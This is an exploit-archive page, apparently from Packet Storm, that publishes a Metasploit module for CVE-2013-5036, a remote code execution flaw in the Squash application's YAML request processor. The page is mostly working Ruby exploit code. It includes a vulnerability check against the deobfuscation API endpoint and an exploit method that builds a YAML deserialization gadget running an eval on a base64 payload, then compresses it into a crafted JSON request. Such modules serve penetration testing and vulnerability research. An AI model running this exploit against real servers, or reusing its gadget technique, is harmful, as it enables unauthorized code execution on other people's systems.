accept no compromises

Squash YAML Code Execution

Squash YAML Code Execution
Posted Aug 9, 2013
Authored by Charlie Eriksen | Site metasploit.com

This Metasploit module exploits a remote code execution vulnerability in the YAML request processor of the Squash application.

tags | exploit, remote, code execution
advisories | CVE-2013-5036, OSVDB-95992
MD5 | ec74f5c91b4c1f9162265c1a1817656d

Squash YAML Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Squash YAML Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the
YAML request processor of the Squash application.
},
'Author' =>
[
'Charlie Eriksen' # Discovery, initial exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
[ 'OSVDB', '95992'],
[ 'CVE', '2013-5036']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Aug 06 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
], self.class)

end

def check
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
'method' => 'POST',
'ctype' => 'application/json',
})

if response.code == 422
print_status("Got HTTP 422 result, target may be vulnerable")
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

def exploit
code = Rex::Text.encode_base64(payload.encoded)
yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"

send_request_cgi({
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => data
})
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    11 Files
  • 21
    Jul 21st
    4 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close